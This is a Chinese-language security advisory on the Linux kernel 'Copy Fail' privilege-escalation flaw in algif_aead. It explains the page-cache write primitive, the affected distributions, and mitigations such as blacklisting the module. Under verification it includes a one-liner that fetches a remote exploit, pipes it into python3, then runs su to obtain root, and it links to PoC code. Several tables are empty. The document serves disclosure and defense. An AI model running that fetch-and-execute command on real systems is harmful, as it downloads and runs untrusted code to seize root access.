摘要:2026年4月29日,安全研究人员公开披露了Linux内核中存在近十年的高危本地提权漏洞“Copy Fail”(CVE-2026-31431)。该漏洞影响自2017年以来所有主流Linux发行版,攻击者仅凭一个732字节的Python脚本即可从普通用户权限直接提升至root权限,并可能导致容器逃逸、云环境租户隔离被突破等严重后果。
一、漏洞概述
|
|
|
|---|---|
| 漏洞编号 |
|
| 漏洞名称 |
|
| 发现者 |
|
| 公开日期 |
|
| 危害等级 |
|
| 根因提交 |
|
| 修复提交 |
|
| 漏洞类型 |
|
一句话描述:漏洞位于Linux内核的
algif_aead密码算法接口中,源于2017年引入的一个错误“原地操作”优化。该缺陷允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存(page cache)写入4个可控字节,进而篡改setuid二进制文件(如/usr/bin/su),直接获取root权限。
二、漏洞原理(白话解读)
2.1 涉及的内核“机关”
-
AF_ALG:Linux内核提供的用户态密码运算接口(socket类型),普通用户可直接调用。
-
AEAD(认证加密):一种带认证的加解密模式,例如AES-GCM。
-
authencesn模板:一种特定AEAD实现,在执行解密时会向目标缓冲区写入数据。
-
splice()系统调用:允许在两个文件描述符之间“零拷贝”传输数据,可用于将文件page cache与套接字缓冲区关联。
2.2 核心逻辑缺陷
2017年的优化(commit 72548b093ee3)试图让AEAD加解密操作直接在原地(in-place)完成,以减少内存拷贝。然而在解密路径中,系统错误地将来源不同的数据映射(TX与RX缓冲区)当作相同缓冲区处理,导致:
-
解密时将文件page cache中的页面链接到了可写的目标scatterlist中。
-
authencesn解密在验证认证标签(tag)前,便向该页面写入4个字节。
由此,攻击者获得了一个完全可控的、直写文件page cache的4字节写入原语。
2.3 为何如此危险?
-
无需竞态条件、无需内核特定偏移、无需重试——攻击路线是直线型的。
-
不标记脏页:写入绕过正常的VFS写路径,被篡改的页面永远不会被内核标记为脏页,因此文件完整性工具(检查磁盘上的签名)根本发现不了。
-
系统范围可见:page cache是全局共享的,一旦某个文件在内存中的页面被篡改,所有进程读取该文件时看到的都是被篡改的版本。
-
跨容器传染:容器与宿主机共享同一个页缓存,因此攻击可从容器内发起并影响宿主机。
三、漏洞危害
|
|
|
|
|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
综合来看,此漏洞对共享内核环境(多租户、容器、CI/CD)影响尤为突出。
四、受影响范围
所有2017年至补丁发布前构建的Linux内核均受影响——覆盖绝大多数主流发行版。
4.1 已验证受影响的发行版
|
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
4.2 理论受影响的发行版
由于漏洞源于内核主线代码,故所有使用受影响内核的发行版均无法幸免:
-
Debian
-
Arch Linux
-
Fedora
-
Rocky Linux
-
AlmaLinux
-
Oracle Linux
-
以及大量嵌入式/定制系统
4.3 受影响的内核版本(官方)
-
4.14 至未修复版本之间
-
不受影响版本:6.18.22+、6.19.12+、7.0+
请注意:发行版的更新策略各有不同,即使上游主线已修复,部分发行版可能尚未推送补丁。
五、修复建议
5.1 立即更新
首选方案:将内核更新至包含commit a664bf3d603d 的版本。
-
对于Ubuntu/Debian:关注官方安全公告,尽快安装
linux-image相关更新。 -
对于RHEL/CentOS/Rocky/Alma:关注Red Hat及衍生版的安全更新,RHEL 10、8、9的修复进度目前仍为“Fix deferred”。
-
对于Amazon Linux:密切关注AWS安全公告,当前修复“pending”。
5.2 临时缓解措施(无法立即更新时)
若业务无法立即重启升级内核,可临时禁用algif_aead内核模块阻止漏洞利用:
bash
# 卸载模块(若当前未使用AEAD套接字)sudo rmmod algif_aead# 或通过modprobe黑名单永久禁用echo"blacklist algif_aead"|sudotee /etc/modprobe.d/blacklist-algif_aead.conf
警告:此操作会禁用用户态AEAD加解密接口,可能影响依赖该接口的应用程序(如某些VPN、TLS库)。
5.3 验证系统是否受影响
-
检查模块是否加载:
bash
lsmod |grep algif_aead
若有输出,说明接口已暴露。
-
验证POC(请仅在获得授权的测试环境进行):
bash
curl https://copy.fail/exp | python3 &&su
成功则立即获得root shell。
六、安全建议(针对不同角色)
|
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
七、简要总结
-
一个732字节的Python脚本即可拿下root,不需要任何内核调试功能、无需网络访问、无竞态条件。
-
漏洞藏身于内核crypto子系统近十年(2017年至2026年),影响面极广。
-
真正的威胁在于容器逃逸:攻击者可从一个被入侵的容器直接跳到宿主机,打破所有租户隔离。
-
修复优先级极高,尤其在共享内核场景(云、K8s、CI/CD)必须立即行动。
演示代码:https://github.com/theori-io/copy-fail-CVE-2026-31431
本文仅作安全预警与防御指导,请勿在未授权系统上测试漏洞利用代码。建议所有Linux用户、企业IT部门和安全团队立即评估自身环境并采取修复措施。














暂无评论内容